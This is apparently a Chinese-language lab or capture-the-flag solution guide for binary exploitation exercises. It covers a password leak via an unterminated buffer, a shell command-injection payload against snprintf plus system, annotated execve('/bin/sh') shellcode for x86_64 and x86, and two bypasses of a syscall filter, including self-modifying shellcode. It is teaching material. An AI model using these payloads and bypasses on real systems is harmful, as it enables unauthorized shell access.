实验指导
仅供参考。
Task 1
1 2 3 4 5 6
| char password[BUFFER_SIZE]; char password_verify[BUFFER_SIZE];
read(STDIN_FILENO, password, BUFFER_SIZE);
printf("you input password as %s (len %d)\n", password, strlen(password));
|
程序将正确的密码直接存在 password_verify
中。直接用 read()
读输入导致字符串不会正常以 0 结束。如果输入长度正好为 BUFFER_SIZE
就会在输出 password
时连带输出 password_verify
,其中存有正确的密码。对于 user
和 admin
都可以用相同的方式获取密码,实现 getflag / getshell。
Task 2
分析可知
1 2 3 4 5 6
| puts("input file name"); scanf("%32s", filename); puts("input file data"); read(0, filedata, 0x80); snprintf(cmd, 0x100, "echo -n \"%s\" > datafolder/%s", filedata, filename); system(cmd);
|
既然是 snprintf()
+ system()
,我们就可以构造 payload 结束字符串。"; sh #
Task 3
Delegate 代码:
1 2 3
| mov eax, edi <op> eax, esi ret
|
其中 <op>
为 add
sub
and
or
xor
。
Shellcode 分析:
1 2 3 4 5 6 7 8 9 10 11 12 13
| /* execve(path='/bin/sh', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ mov rax, 0x68732f6e69622f # '\x00hs/nib/' # 小端序,'/' 是 LSB push rax # 字符串压入栈 # rsp 指向 '/bin/sh\x00' mov rdi, rsp # rdi = rsp 第一个参数 xor rsi, rsi # rsi = 0 第二个参数 xor rdx, rdx # rdx = 0 第三个参数 /* call execve() */ push SYS_execve pop rax # rax = SYS_execve syscall # rax(rdi, rsi, rdx)
|
Task 4
与 Task 3 相同,只不过把 x86_64 换成 x86。
1 2 3 4 5 6 7 8 9 10 11 12
| /* execve(path='/bin/sh', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ push 0x68732f # '\x00hs/' push 0x6e69622f # 'nib/' # esp 指向 '/bin/sh\x00' mov ebx, esp # ebx = esp,int 0x80 的第一个参数 xor ecx, ecx # ecx = 0,int 0x80 的第二个参数 xor edx, edx # edx = 0,int 0x80 的第三个参数 /* call execve() */ push SYS_execve /* 0xb */ pop eax # eax = SYS_execve int 0x80
|
1 2 3 4 5 6
| 3 2 1 0 +--------------+ esp | n i b / | ebx +--------------+ esp+4 | \0 h s / | +--------------+
|
根据 What do you call the calling convention behind int 0x80
?,int 0x80
的传参方式为 ebx
ecx
edx
esi
edi
ebp
。
Bonus
逃课
看似是过滤了 syscall
,实际上只有当 syscall
落在偶数位置上时才会被检测到。那么只要在最前面加一个 nop
让 syscall
落在奇数位置上就可以 bypass 了。
1
| r.sendlineafter(b'ADD', pwn.asm('nop\n' + pwn.shellcraft.sh()))
|
预期
1 2
| #define MAP_ADDR (0x10000) address = mmap(MAP_ADDR, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
|
可以知道 shellcode 所在的地址是已知的而且权限为 rwx
。那么就可以在运行时动态修改机器码。大概像这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwn.asm(""" /* execve(path='/bin/sh', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ inc word ptr [.syscall] mov rax, 0x68732f6e69622f push rax mov rdi, rsp xor rsi, rsi xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax .syscall: .short 0x050e """, vma=0x10000)
|
运行 inc
语句后位于 .syscall
处的 0x50e
变为 0x50f
,即 syscall
。